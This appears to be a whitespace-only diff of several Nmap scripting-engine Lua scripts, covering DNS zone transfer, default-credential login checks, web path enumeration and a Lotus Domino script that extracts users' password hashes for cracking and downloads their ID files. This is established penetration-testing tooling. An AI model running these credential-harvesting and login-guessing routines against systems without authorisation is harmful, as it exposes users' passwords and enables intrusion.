offset = parse_records(answers, data, RR, offset) offset = parse_records(answers, data, RR, offset)
offset = parse_records(auth_answers, data, RR, offset) offset = parse_records(auth_answers, data, RR, offset)
@@ -639,7 +639,7 @@ function add_zone_info(response)
status, ret = target.add(rdata) status, ret = target.add(rdata)
if not status then if not status then
stdnse.print_debug(3, stdnse.print_debug(3,
"Error: failed to add all 'A' records.") "Error: failed to add all 'A' records.")
break break
end end
newhosts_count = newhosts_count + ret newhosts_count = newhosts_count + ret
@@ -650,7 +650,7 @@ function add_zone_info(response)
status, ret = target.add(rdata) status, ret = target.add(rdata)
if not status then if not status then
stdnse.print_debug(3, stdnse.print_debug(3,
"Error: failed to add all '%s' records.", rectype) "Error: failed to add all '%s' records.", rectype)
break break
end end
newhosts_count = newhosts_count + ret newhosts_count = newhosts_count + ret
@@ -672,8 +672,8 @@ function add_zone_info(response)
end end
return true, tab.dump(outtab) .. "\n" .. return true, tab.dump(outtab) .. "\n" ..
string.format("Total new targets added to Nmap scan queue: %d.", string.format("Total new targets added to Nmap scan queue: %d.",
nhosts) nhosts)
end end
function dump_zone_info(table, response) function dump_zone_info(table, response)
@@ -690,11 +690,11 @@ function dump_zone_info(table, response)
offset = offset + 12 offset = offset + 12
if questions > 1 then if questions > 1 then
return false, 'More then 1 question record, something has gone wrong' return false, 'More then 1 question record, something has gone wrong'
end end
if answers == 0 then if answers == 0 then
return false, 'transfer successful but no records' return false, 'transfer successful but no records'
end end
-- skip over the question section, we don't need it -- skip over the question section, we don't need it
@@ -716,66 +716,66 @@ function dump_zone_info(table, response)
end end
action = function(host, port) action = function(host, port)
if not dns_opts.domain then if not dns_opts.domain then
return stdnse.format_output(false, return stdnse.format_output(false,
string.format("'%s' script needs a dnszonetransfer.domain argument.", string.format("'%s' script needs a dnszonetransfer.domain argument.",
SCRIPT_TYPE)) SCRIPT_TYPE))
end
if not dns_opts.port then
dns_opts.port = 53
end
local soc = nmap.new_socket()
local catch = function() soc:close() end
local try = nmap.new_try(catch)
soc:set_timeout(4000)
try(soc:connect(dns_opts.server, dns_opts.port))
local req_id = '\222\173'
local offset = 1
local name = build_domain(string.lower(dns_opts.domain))
local pkt_len = #name + 16
-- build axfr request
local buf = strbuf.new()
buf = buf .. '\000' .. string.char(pkt_len) .. req_id
buf = buf .. '\000\000\000\001\000\000\000\000\000\000'
buf = buf .. name .. '\000\252\000\001'
try(soc:send(strbuf.dump(buf)))
-- read all data returned. Common to have
-- multiple packets from a single request
local response = strbuf.new()
while true do
local status, data = soc:receive_bytes(1)
if not status then break end
response = response .. data
end
soc:close()
local response_str = strbuf.dump(response)
local length = #response_str
-- check server response code
if length < 6 or
not (bit.band(string.byte(response_str, 6), 15) == 0) then
return nil
end
-- add axfr results to Nmap scanning queue
if target.ALLOW_NEW_TARGETS then
local status, ret = add_zone_info(response_str)
if not status then
return stdnse.format_output(false, ret)
end end
if not dns_opts.port then return stdnse.format_output(true, ret)
dns_opts.port = 53
end
local soc = nmap.new_socket()
local catch = function() soc:close() end
local try = nmap.new_try(catch)
soc:set_timeout(4000)
try(soc:connect(dns_opts.server, dns_opts.port))
local req_id = '\222\173'
local offset = 1
local name = build_domain(string.lower(dns_opts.domain))
local pkt_len = #name + 16
-- build axfr request
local buf = strbuf.new()
buf = buf .. '\000' .. string.char(pkt_len) .. req_id
buf = buf .. '\000\000\000\001\000\000\000\000\000\000'
buf = buf .. name .. '\000\252\000\001'
try(soc:send(strbuf.dump(buf)))
-- read all data returned. Common to have
-- multiple packets from a single request
local response = strbuf.new()
while true do
local status, data = soc:receive_bytes(1)
if not status then break end
response = response .. data
end
soc:close()
local response_str = strbuf.dump(response)
local length = #response_str
-- check server response code
if length < 6 or
not (bit.band(string.byte(response_str, 6), 15) == 0) then
return nil
end
-- add axfr results to Nmap scanning queue
if target.ALLOW_NEW_TARGETS then
local status, ret = add_zone_info(response_str)
if not status then
return stdnse.format_output(false, ret)
end
return stdnse.format_output(true, ret)
-- dump axfr results -- dump axfr results
else else
local table = tab.new() local table = tab.new()
local status, ret = dump_zone_info(table, response_str) local status, ret = dump_zone_info(table, response_str)
if not status then if not status then
return stdnse.format_output(false, ret) return stdnse.format_output(false, ret)
end
return '\n' .. tab.dump(table)
end end
return '\n' .. tab.dump(table)
end
end end

View File

@@ -283,9 +283,9 @@ action = function(host, port)
local path = basepath .. probe['path'] local path = basepath .. probe['path']
if http.page_exists(results[j], result_404, known_404, path, true) if http.page_exists(results[j], result_404, known_404, path, true)
and (not fingerprint.target_check and (not fingerprint.target_check
or fingerprint.target_check(host, port, path, results[j])) or fingerprint.target_check(host, port, path, results[j]))
then then
for _, login_combo in ipairs(fingerprint.login_combos) do for _, login_combo in ipairs(fingerprint.login_combos) do
stdnse.print_debug(2, "%s: Trying login combo -> %s:%s", SCRIPT_NAME, login_combo["username"], login_combo["password"]) stdnse.print_debug(2, "%s: Trying login combo -> %s:%s", SCRIPT_NAME, login_combo["username"], login_combo["password"])
--Check default credentials --Check default credentials

View File

@@ -101,14 +101,14 @@ portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open")
-- @param port table as received by the action function -- @param port table as received by the action function
-- @param path against which to check if authentication is required -- @param path against which to check if authentication is required
local function requiresAuth( host, port, path ) local function requiresAuth( host, port, path )
local result = http.get(host, port, "/names.nsf") local result = http.get(host, port, "/names.nsf")
if ( result.status == 401 ) then if ( result.status == 401 ) then
return true return true
elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then
return true return true
end end
return false return false
end end
--- Checks if the credentials are valid and allow access to <code>path</code> --- Checks if the credentials are valid and allow access to <code>path</code>
@@ -121,14 +121,14 @@ end
-- @param pass the password used for authentication -- @param pass the password used for authentication
-- @return true on valid access, false on failure -- @return true on valid access, false on failure
local function isValidCredential( host, port, path, user, pass ) local function isValidCredential( host, port, path, user, pass )
-- we need to supply the no_cache directive, or else the http library -- we need to supply the no_cache directive, or else the http library
-- incorrectly tells us that the authentication was successfull -- incorrectly tells us that the authentication was successfull
local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true }) local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true })
if ( result.status == 401 ) then if ( result.status == 401 ) then
return false return false
end end
return true return true
end end
--- Retrieves all uniq links in a pages --- Retrieves all uniq links in a pages
@@ -138,28 +138,28 @@ end
-- @param links [optional] table containing previousy retrieved links -- @param links [optional] table containing previousy retrieved links
-- @return links table containing retrieved links -- @return links table containing retrieved links
local function getLinks( body, filter, links ) local function getLinks( body, filter, links )
local tmp = {} local tmp = {}
local links = links or {} local links = links or {}
local filter = filter or ".*" local filter = filter or ".*"
if ( not(body) ) then return end if ( not(body) ) then return end
for _, v in ipairs( links ) do for _, v in ipairs( links ) do
tmp[v] = true tmp[v] = true
end end
for link in body:gmatch("<a href=\"([^\"]+)\"") do for link in body:gmatch("<a href=\"([^\"]+)\"") do
-- use link as key in order to remove duplicates -- use link as key in order to remove duplicates
if ( link:match(filter)) then if ( link:match(filter)) then
tmp[link] = true tmp[link] = true
end end
end end
links = {} links = {}
for k, _ in pairs(tmp) do for k, _ in pairs(tmp) do
table.insert(links, k) table.insert(links, k)
end end
return links return links
end end
--- Retrieves the "next page" path from the returned document --- Retrieves the "next page" path from the returned document
@@ -167,7 +167,7 @@ end
-- @param body the html content of the recieved page -- @param body the html content of the recieved page
-- @return link to next page -- @return link to next page
local function getPager( body ) local function getPager( body )
return body:match("<form.+action=\"(.+%?ReadForm)&" ) return body:match("<form.+action=\"(.+%?ReadForm)&" )
end end
--- Retrieves the username and passwords for a user --- Retrieves the username and passwords for a user
@@ -177,19 +177,19 @@ end
-- @return password the password hash for the user -- @return password the password hash for the user
local function getUserDetails( body ) local function getUserDetails( body )
-- retrieve the details -- retrieve the details
local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">") local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">")
local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">") local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">")
local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">") local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">")
local id_file = body:match("<a href=\"(.-UserID)\">") local id_file = body:match("<a href=\"(.-UserID)\">")
-- Remove the parenthesis around the password -- Remove the parenthesis around the password
http_passwd = http_passwd:sub(2,-2) http_passwd = http_passwd:sub(2,-2)
-- In case we have more than one full name, return only the last -- In case we have more than one full name, return only the last
full_name = stdnse.strsplit(";%s*", full_name) full_name = stdnse.strsplit(";%s*", full_name)
full_name = full_name[#full_name] full_name = full_name[#full_name]
return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file } return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file }
end end
--- Saves the ID file to disk --- Saves the ID file to disk
@@ -199,162 +199,162 @@ end
-- @return status true on success, false on failure -- @return status true on success, false on failure
-- @return err string containing error message if status is false -- @return err string containing error message if status is false
local function saveIDFile( filename, data ) local function saveIDFile( filename, data )
local f = io.open( filename, "w") local f = io.open( filename, "w")
if ( not(f) ) then if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename) return false, ("Failed to open file (%s)"):format(filename)
end end
if ( not(f:write( data ) ) ) then if ( not(f:write( data ) ) ) then
return false, ("Failed to write file (%s)"):format(filename) return false, ("Failed to write file (%s)"):format(filename)
end end
f:close() f:close()
return true return true
end end
action = function(host, port) action = function(host, port)
local path = "/names.nsf" local path = "/names.nsf"
local download_path = stdnse.get_script_args('domino-enum-passwords.idpath') local download_path = stdnse.get_script_args('domino-enum-passwords.idpath')
local vhost= stdnse.get_script_args('domino-enum-passwords.hostname') local vhost= stdnse.get_script_args('domino-enum-passwords.hostname')
local user = stdnse.get_script_args('domino-enum-passwords.username') local user = stdnse.get_script_args('domino-enum-passwords.username')
local pass = stdnse.get_script_args('domino-enum-passwords.password') local pass = stdnse.get_script_args('domino-enum-passwords.password')
local creds, pos, pager local creds, pos, pager
local links, result, hashes,legacyHashes, id_files = {}, {}, {}, {},{} local links, result, hashes,legacyHashes, id_files = {}, {}, {}, {},{}
local chunk_size = 30 local chunk_size = 30
local max_fetch = stdnse.get_script_args('domino-enum-passwords.count') and tonumber(stdnse.get_script_args('domino-enum-passwords.count')) or 10 local max_fetch = stdnse.get_script_args('domino-enum-passwords.count') and tonumber(stdnse.get_script_args('domino-enum-passwords.count')) or 10
local http_response local http_response
if ( nmap.registry['credentials'] and nmap.registry['credentials']['http'] ) then if ( nmap.registry['credentials'] and nmap.registry['credentials']['http'] ) then
creds = nmap.registry['credentials']['http'] creds = nmap.registry['credentials']['http']
end end
-- authentication required? -- authentication required?
if ( requiresAuth( vhost or host, port, path ) ) then if ( requiresAuth( vhost or host, port, path ) ) then
if ( not(user) and not(creds) ) then if ( not(user) and not(creds) ) then
return " \n ERROR: No credentials supplied (see domino-enum-passwords.username and domino-enum-passwords.password)" return " \n ERROR: No credentials supplied (see domino-enum-passwords.username and domino-enum-passwords.password)"
end end
-- A user was provided, attempt to authenticate -- A user was provided, attempt to authenticate
if ( user ) then if ( user ) then
if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
return " \n ERROR: The provided credentials where invalid" return " \n ERROR: The provided credentials where invalid"
end end
elseif ( creds ) then elseif ( creds ) then
for _, cred in pairs(creds) do for _, cred in pairs(creds) do
if ( isValidCredential( vhost or host, port, path, cred.username, cred.password ) ) then if ( isValidCredential( vhost or host, port, path, cred.username, cred.password ) ) then
user = cred.username user = cred.username
pass = cred.password pass = cred.password
break break
end end
end end
end end
end end
if ( not(user) and not(pass) ) then if ( not(user) and not(pass) ) then
return " \n ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)" return " \n ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)"
end end
path = "/names.nsf/People?OpenView" path = "/names.nsf/People?OpenView"
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true }) http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
pager = getPager( http_response.body ) pager = getPager( http_response.body )
if ( not(pager) ) then if ( not(pager) ) then
if ( http_response.body and if ( http_response.body and
http_response.body:match(".*<input type=\"submit\".* value=\"Sign In\">.*" ) ) then http_response.body:match(".*<input type=\"submit\".* value=\"Sign In\">.*" ) ) then
return " \n ERROR: Failed to authenticate" return " \n ERROR: Failed to authenticate"
else else
return " \n ERROR: Failed to process results" return " \n ERROR: Failed to process results"
end end
end end
pos = 1 pos = 1
-- first collect all links -- first collect all links
while( true ) do while( true ) do
path = pager .. "&Start=" .. pos path = pager .. "&Start=" .. pos
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true }) http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
if ( http_response.status == 200 ) then if ( http_response.status == 200 ) then
local size = #links local size = #links
links = getLinks( http_response.body, "%?OpenDocument", links ) links = getLinks( http_response.body, "%?OpenDocument", links )
-- No additions were made -- No additions were made
if ( size == #links ) then if ( size == #links ) then
break break
end end
end end
if ( max_fetch > 0 and max_fetch < #links ) then if ( max_fetch > 0 and max_fetch < #links ) then
break break
end end
pos = pos + chunk_size pos = pos + chunk_size
end end
for _, link in ipairs(links) do for _, link in ipairs(links) do
stdnse.print_debug(2, "Fetching link: %s", link) stdnse.print_debug(2, "Fetching link: %s", link)
http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true }) http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true })
local u_details = getUserDetails( http_response.body ) local u_details = getUserDetails( http_response.body )
if ( max_fetch > 0 and (#hashes+#legacyHashes)>= max_fetch ) then if ( max_fetch > 0 and (#hashes+#legacyHashes)>= max_fetch ) then
break break
end end
if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then
stdnse.print_debug(2, "Found Internet hash for: %s:%s", u_details.fullname, u_details.passwd) stdnse.print_debug(2, "Found Internet hash for: %s:%s", u_details.fullname, u_details.passwd)
-- Old type are 32 bytes, new are 20 -- Old type are 32 bytes, new are 20
if #u_details.passwd == 32 then if #u_details.passwd == 32 then
table.insert( legacyHashes, ("%s:%s"):format(u_details.fullname, u_details.passwd)) table.insert( legacyHashes, ("%s:%s"):format(u_details.fullname, u_details.passwd))
else else
table.insert( hashes, ("%s:(%s)"):format(u_details.fullname, u_details.passwd)) table.insert( hashes, ("%s:(%s)"):format(u_details.fullname, u_details.passwd))
end end
end end
if ( u_details.idfile ) then if ( u_details.idfile ) then
stdnse.print_debug(2, "Found ID file for user: %s", u_details.fullname) stdnse.print_debug(2, "Found ID file for user: %s", u_details.fullname)
if ( download_path ) then if ( download_path ) then
stdnse.print_debug(2, "Downloading ID file for user: %s", u_details.full_name) stdnse.print_debug(2, "Downloading ID file for user: %s", u_details.full_name)
http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true }) http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true })
if ( http_response.status == 200 ) then if ( http_response.status == 200 ) then
local filename = download_path .. "/" .. stdnse.filename_escape(u_details.fullname .. ".id") local filename = download_path .. "/" .. stdnse.filename_escape(u_details.fullname .. ".id")
local status, err = saveIDFile( filename, http_response.body ) local status, err = saveIDFile( filename, http_response.body )
if ( status ) then if ( status ) then
table.insert( id_files, ("%s ID File has been downloaded (%s)"):format(u_details.fullname, filename) ) table.insert( id_files, ("%s ID File has been downloaded (%s)"):format(u_details.fullname, filename) )
else else
table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) ) table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) )
end end
else else
table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) ) table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) )
end end
else else
table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) ) table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) )
end end
end end
end end
if( #hashes + #legacyHashes > 0) then if( #hashes + #legacyHashes > 0) then
table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } ) table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } )
end end
if ( #hashes ) then if ( #hashes ) then
hashes.name = "Internet hashes (salted, jtr: --format=DOMINOSEC)" hashes.name = "Internet hashes (salted, jtr: --format=DOMINOSEC)"
table.insert( result, hashes ) table.insert( result, hashes )
end end
if (#legacyHashes ) then if (#legacyHashes ) then
legacyHashes.name = "Internet hashes (unsalted, jtr: --format=lotus5)" legacyHashes.name = "Internet hashes (unsalted, jtr: --format=lotus5)"
table.insert( result, legacyHashes ) table.insert( result, legacyHashes )
end end
if ( #id_files ) then if ( #id_files ) then
id_files.name = "ID Files" id_files.name = "ID Files"
table.insert( result, id_files ) table.insert( result, id_files )
end end
local result = stdnse.format_output(true, result) local result = stdnse.format_output(true, result)
if ( max_fetch > 0 ) then if ( max_fetch > 0 ) then
result = result .. (" \n Results limited to %d results (see domino-enum-passwords.count)"):format(max_fetch) result = result .. (" \n Results limited to %d results (see domino-enum-passwords.count)"):format(max_fetch)
end end
return result return result
end end

View File

@@ -87,75 +87,75 @@ local common_ext = { 'php', 'asp', 'aspx', 'jsp', 'pl', 'cgi', 'css', 'js', 'htm
-- --
-- At the time of the writing, these were all decided by me (Ron Bowes). -- At the time of the writing, these were all decided by me (Ron Bowes).
local function get_variations(filename) local function get_variations(filename)
local variations = {} local variations = {}
if(filename == nil or filename == "" or filename == "/") then if(filename == nil or filename == "" or filename == "/") then
return {} return {}
end end
local is_directory = (string.sub(filename, #filename, #filename) == "/") local is_directory = (string.sub(filename, #filename, #filename) == "/")
if(is_directory) then if(is_directory) then
filename = string.sub(filename, 1, #filename - 1) filename = string.sub(filename, 1, #filename - 1)
end end
-- Try some extensions -- Try some extensions
table.insert(variations, filename .. ".bak") table.insert(variations, filename .. ".bak")
table.insert(variations, filename .. ".1") table.insert(variations, filename .. ".1")
table.insert(variations, filename .. ".tmp") table.insert(variations, filename .. ".tmp")
-- Strip off the extension, if it has one, and try it all again. -- Strip off the extension, if it has one, and try it all again.
-- For now, just look for three-character extensions. -- For now, just look for three-character extensions.
if(string.sub(filename, #filename - 3, #filename - 3) == '.') then if(string.sub(filename, #filename - 3, #filename - 3) == '.') then
local bare = string.sub(filename, 1, #filename - 4) local bare = string.sub(filename, 1, #filename - 4)
local extension = string.sub(filename, #filename - 3) local extension = string.sub(filename, #filename - 3)
table.insert(variations, bare .. ".bak") table.insert(variations, bare .. ".bak")
table.insert(variations, bare .. ".1") table.insert(variations, bare .. ".1")
table.insert(variations, bare .. ".tmp") table.insert(variations, bare .. ".tmp")
table.insert(variations, bare .. "_1" .. extension) table.insert(variations, bare .. "_1" .. extension)
table.insert(variations, bare .. "2" .. extension) table.insert(variations, bare .. "2" .. extension)
end end
-- Some Windowsy things -- Some Windowsy things
local onlyname = string.sub(filename, 2) local onlyname = string.sub(filename, 2)
-- If the name contains a '/', forget it -- If the name contains a '/', forget it
if(string.find(onlyname, "/") == nil) then if(string.find(onlyname, "/") == nil) then
table.insert(variations, "/Copy of " .. onlyname) table.insert(variations, "/Copy of " .. onlyname)
table.insert(variations, "/Copy (2) of " .. onlyname) table.insert(variations, "/Copy (2) of " .. onlyname)
table.insert(variations, "/Copy of Copy of " .. onlyname) table.insert(variations, "/Copy of Copy of " .. onlyname)
-- Word/Excel/etc replace the first two characters with '~$', it seems -- Word/Excel/etc replace the first two characters with '~$', it seems
table.insert(variations, "/~$" .. string.sub(filename, 4)) table.insert(variations, "/~$" .. string.sub(filename, 4))
end end
-- Some editors add a '~' -- Some editors add a '~'
table.insert(variations, filename .. "~") table.insert(variations, filename .. "~")
-- Try some directories -- Try some directories
table.insert(variations, "/bak" .. filename) table.insert(variations, "/bak" .. filename)
table.insert(variations, "/backup" .. filename) table.insert(variations, "/backup" .. filename)
table.insert(variations, "/backups" .. filename) table.insert(variations, "/backups" .. filename)
table.insert(variations, "/beta" .. filename) table.insert(variations, "/beta" .. filename)
table.insert(variations, "/test" .. filename) table.insert(variations, "/test" .. filename)
-- If it's a directory, add a '/' after every entry -- If it's a directory, add a '/' after every entry
if(is_directory) then if(is_directory) then
for i, v in ipairs(variations) do for i, v in ipairs(variations) do
variations[i] = v .. "/" variations[i] = v .. "/"
end end
end end
-- Some compressed formats (we don't want a trailing '/' on these, so they go after the loop) -- Some compressed formats (we don't want a trailing '/' on these, so they go after the loop)
table.insert(variations, filename .. ".zip") table.insert(variations, filename .. ".zip")
table.insert(variations, filename .. ".tar") table.insert(variations, filename .. ".tar")
table.insert(variations, filename .. ".tar.gz") table.insert(variations, filename .. ".tar.gz")
table.insert(variations, filename .. ".tgz") table.insert(variations, filename .. ".tgz")
table.insert(variations, filename .. ".tar.bz2") table.insert(variations, filename .. ".tar.bz2")
return variations return variations
end end
---Get the list of fingerprints from files. The files are defined in <code>fingerprint_files</code>. If category ---Get the list of fingerprints from files. The files are defined in <code>fingerprint_files</code>. If category
@@ -163,227 +163,227 @@ end
-- --
--@return An array of entries, each of which have a <code>checkdir</code> field, and possibly a <code>checkdesc</code>. --@return An array of entries, each of which have a <code>checkdir</code> field, and possibly a <code>checkdesc</code>.
local function get_fingerprints(fingerprint_file, category) local function get_fingerprints(fingerprint_file, category)
local entries = {} local entries = {}
local i local i
local total_count = 0 -- Used for 'limit' local total_count = 0 -- Used for 'limit'
-- Check if we've already read the file -- Check if we've already read the file
-- There might be a race condition here, where multiple scripts will read the file and set this variable, but the impact -- There might be a race condition here, where multiple scripts will read the file and set this variable, but the impact
-- of that would be minimal (and definitely isn't security) -- of that would be minimal (and definitely isn't security)
if(nmap.registry.http_fingerprints ~= nil) then if(nmap.registry.http_fingerprints ~= nil) then
stdnse.print_debug(1, "http-enum: Using cached HTTP fingerprints") stdnse.print_debug(1, "http-enum: Using cached HTTP fingerprints")
return nmap.registry.http_fingerprints return nmap.registry.http_fingerprints
end end
-- Try and find the file; if it isn't in Nmap's directories, take it as a direct path -- Try and find the file; if it isn't in Nmap's directories, take it as a direct path
local filename_full = nmap.fetchfile('nselib/data/' .. fingerprint_file) local filename_full = nmap.fetchfile('nselib/data/' .. fingerprint_file)
if(not(filename_full)) then if(not(filename_full)) then
filename_full = fingerprint_file filename_full = fingerprint_file
end end
stdnse.print_debug("http-enum: Loading fingerprint database: %s", filename_full) stdnse.print_debug("http-enum: Loading fingerprint database: %s", filename_full)
local env = setmetatable({fingerprints = {}}, {__index = _G}) local env = setmetatable({fingerprints = {}}, {__index = _G})
local file = loadfile(filename_full, "t", env) local file = loadfile(filename_full, "t", env)
if(not(file)) then if(not(file)) then
stdnse.print_debug("http-enum: Couldn't load configuration file: %s", filename_full) stdnse.print_debug("http-enum: Couldn't load configuration file: %s", filename_full)
return false, "Couldn't load fingerprint file: " .. filename_full return false, "Couldn't load fingerprint file: " .. filename_full
end end
file() file()
local fingerprints = env.fingerprints local fingerprints = env.fingerprints
-- Sanity check our file to ensure that all the fields were good. If any are bad, we -- Sanity check our file to ensure that all the fields were good. If any are bad, we
-- stop and don't load the file. -- stop and don't load the file.
for i, fingerprint in pairs(fingerprints) do for i, fingerprint in pairs(fingerprints) do
-- Make sure we have a valid index -- Make sure we have a valid index
if(type(i) ~= 'number') then if(type(i) ~= 'number') then
return false, "The 'fingerprints' table is an array, not a table; all indexes should be numeric" return false, "The 'fingerprints' table is an array, not a table; all indexes should be numeric"
end end
-- Make sure they have either a string or a table of probes -- Make sure they have either a string or a table of probes
if(not(fingerprint.probes) or if(not(fingerprint.probes) or
(type(fingerprint.probes) ~= 'table' and type(fingerprint.probes) ~= 'string') or (type(fingerprint.probes) ~= 'table' and type(fingerprint.probes) ~= 'string') or
(type(fingerprint.probes) == 'table' and #fingerprint.probes == 0)) then (type(fingerprint.probes) == 'table' and #fingerprint.probes == 0)) then
return false, "Invalid path found for fingerprint " .. i return false, "Invalid path found for fingerprint " .. i
end end
-- Make sure fingerprint.path is a table -- Make sure fingerprint.path is a table
if(type(fingerprint.probes) == 'string') then if(type(fingerprint.probes) == 'string') then
fingerprint.probes = {fingerprint.probes} fingerprint.probes = {fingerprint.probes}
end end
-- Make sure the elements in the probes array are strings or arrays -- Make sure the elements in the probes array are strings or arrays
for i, probe in pairs(fingerprint.probes) do for i, probe in pairs(fingerprint.probes) do
-- Make sure we have a valid index -- Make sure we have a valid index
if(type(i) ~= 'number') then if(type(i) ~= 'number') then
return false, "The 'probes' table is an array, not a table; all indexes should be numeric" return false, "The 'probes' table is an array, not a table; all indexes should be numeric"
end end
-- Convert the probe to a table if it's a string -- Convert the probe to a table if it's a string
if(type(probe) == 'string') then if(type(probe) == 'string') then
fingerprint.probes[i] = {path=fingerprint.probes[i]} fingerprint.probes[i] = {path=fingerprint.probes[i]}
probe = fingerprint.probes[i] probe = fingerprint.probes[i]
end end
-- Make sure the probes table has a 'path' -- Make sure the probes table has a 'path'
if(not(probe['path'])) then if(not(probe['path'])) then
return false, "The 'probes' table requires each element to have a 'path'." return false, "The 'probes' table requires each element to have a 'path'."
end end
-- If they didn't set a method, set it to 'GET' -- If they didn't set a method, set it to 'GET'
if(not(probe['method'])) then if(not(probe['method'])) then
probe['method'] = 'GET' probe['method'] = 'GET'
end end
-- Make sure the method's a string -- Make sure the method's a string
if(type(probe['method']) ~= 'string') then if(type(probe['method']) ~= 'string') then
return false, "The 'method' in the probes file has to be a string" return false, "The 'method' in the probes file has to be a string"
end end
end end
-- Ensure that matches is an array -- Ensure that matches is an array
if(type(fingerprint.matches) ~= 'table') then if(type(fingerprint.matches) ~= 'table') then
return false, "'matches' field has to be a table" return false, "'matches' field has to be a table"
end end
-- Loop through the matches -- Loop through the matches
for i, match in pairs(fingerprint.matches) do for i, match in pairs(fingerprint.matches) do
-- Make sure we have a valid index -- Make sure we have a valid index
if(type(i) ~= 'number') then if(type(i) ~= 'number') then
return false, "The 'matches' table is an array, not a table; all indexes should be numeric" return false, "The 'matches' table is an array, not a table; all indexes should be numeric"
end end
-- Check that every element in the table is an array -- Check that every element in the table is an array
if(type(match) ~= 'table') then if(type(match) ~= 'table') then
return false, "Every element of 'matches' field has to be a table" return false, "Every element of 'matches' field has to be a table"
end end
-- Check the output field -- Check the output field
if(match['output'] == nil or type(match['output']) ~= 'string') then if(match['output'] == nil or type(match['output']) ~= 'string') then
return false, "The 'output' field in 'matches' has to be present and a string" return false, "The 'output' field in 'matches' has to be present and a string"
end end
-- Check the 'match' and 'dontmatch' fields, if present -- Check the 'match' and 'dontmatch' fields, if present
if((match['match'] and type(match['match']) ~= 'string') or (match['dontmatch'] and type(match['dontmatch']) ~= 'string')) then if((match['match'] and type(match['match']) ~= 'string') or (match['dontmatch'] and type(match['dontmatch']) ~= 'string')) then
return false, "The 'match' and 'dontmatch' fields in 'matches' have to be strings, if they exist" return false, "The 'match' and 'dontmatch' fields in 'matches' have to be strings, if they exist"
end end
-- Change blank 'match' strings to '.*' so they match everything -- Change blank 'match' strings to '.*' so they match everything
if(not(match['match']) or match['match'] == '') then if(not(match['match']) or match['match'] == '') then
match['match'] = '(.*)' match['match'] = '(.*)'
end end
end end
-- Make sure the severity is an integer between 1 and 4. Default it to 1. -- Make sure the severity is an integer between 1 and 4. Default it to 1.
if(fingerprint.severity and (type(fingerprint.severity) ~= 'number' or fingerprint.severity < 1 or fingerprint.severity > 4)) then if(fingerprint.severity and (type(fingerprint.severity) ~= 'number' or fingerprint.severity < 1 or fingerprint.severity > 4)) then
return false, "The 'severity' field has to be an integer between 1 and 4" return false, "The 'severity' field has to be an integer between 1 and 4"
else else
fingerprint.severity = 1 fingerprint.severity = 1
end end
-- Make sure ignore_404 is a boolean. Default it to false. -- Make sure ignore_404 is a boolean. Default it to false.
if(fingerprint.ignore_404 and type(fingerprint.ignore_404) ~= 'boolean') then if(fingerprint.ignore_404 and type(fingerprint.ignore_404) ~= 'boolean') then
return false, "The 'ignore_404' field has to be a boolean" return false, "The 'ignore_404' field has to be a boolean"
else else
fingerprint.ignore_404 = false fingerprint.ignore_404 = false
end end
end end
-- Make sure we have some fingerprints fingerprints -- Make sure we have some fingerprints fingerprints
if(#fingerprints == 0) then if(#fingerprints == 0) then
return false, "No fingerprints were loaded" return false, "No fingerprints were loaded"
end end
-- If the user wanted to filter by category, do it -- If the user wanted to filter by category, do it
if(category) then if(category) then
local filtered_fingerprints = {} local filtered_fingerprints = {}
for _, fingerprint in pairs(fingerprints) do for _, fingerprint in pairs(fingerprints) do
if(fingerprint.category == category) then if(fingerprint.category == category) then
table.insert(filtered_fingerprints, fingerprint) table.insert(filtered_fingerprints, fingerprint)
end end
end end
fingerprints = filtered_fingerprints fingerprints = filtered_fingerprints
-- Make sure we still have fingerprints after the category filter -- Make sure we still have fingerprints after the category filter
if(#fingerprints == 0) then if(#fingerprints == 0) then
return false, "No fingerprints matched the given category (" .. category .. ")" return false, "No fingerprints matched the given category (" .. category .. ")"
end end
end end
-- -- If the user wants to try variations, add them -- -- If the user wants to try variations, add them
-- if(try_variations) then -- if(try_variations) then
-- -- Get a list of all variations for this directory -- -- Get a list of all variations for this directory
-- local variations = get_variations(entry['checkdir']) -- local variations = get_variations(entry['checkdir'])
-- --
